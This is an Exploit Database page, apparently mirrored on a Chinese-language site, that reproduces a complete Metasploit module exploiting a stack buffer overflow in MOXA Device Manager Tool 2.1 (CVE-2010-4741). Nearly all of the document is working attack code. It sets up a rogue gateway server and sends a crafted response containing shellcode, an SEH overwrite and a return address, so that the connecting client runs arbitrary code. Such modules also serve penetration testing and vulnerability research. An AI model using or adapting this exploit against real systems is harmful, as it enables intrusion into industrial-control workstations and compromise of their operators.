MOXA Device Manager Tool 2.1 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-11-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16381/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  
  Rank = GreatRanking
  
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Seh
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'MOXA Device Manager Tool 2.1 Buffer Overflow',
  'Description'=> %q{
  This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.
  When sending a specially crafted MDMGw (MDM2_Gateway) response, an
  attacker may be able to execute arbitrary code.
  },
  'Author' => [ 'Ruben Santamarta', 'MC' ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2010-4741'],
  [ 'OSVDB', '69027'],
  [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
  [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-301-01A.pdf' ]
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'thread',
  'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
  },
  'Payload'=>
  {
  'Space'=> 600,
  'BadChars' => "\x00\x0a\x0d\x20",
  'StackAdjustment' => -3500
  },
  'Platform' => 'win',
  'Targets'=>
  [
  [ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
  ],
  'Privileged' => false,
  'DisclosureDate' => 'Oct 20 2010',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])
  ], self.class)
  end
  
  def on_client_connect(client)
  
  return if ((p = regenerate_payload(client)) == nil)
  
  client.get_once
  
  sploit = rand_text_alpha_upper(18024)
  
  sploit[0, 4] = [0x29001028].pack('V')
  sploit[472, payload.encoded.length] = payload.encoded
  sploit[1072, 8] = generate_seh_record(target.ret)
  sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string
  
  client.put(sploit)
  
  handler(client)
  
  service.close_client(client)
  
  end
  end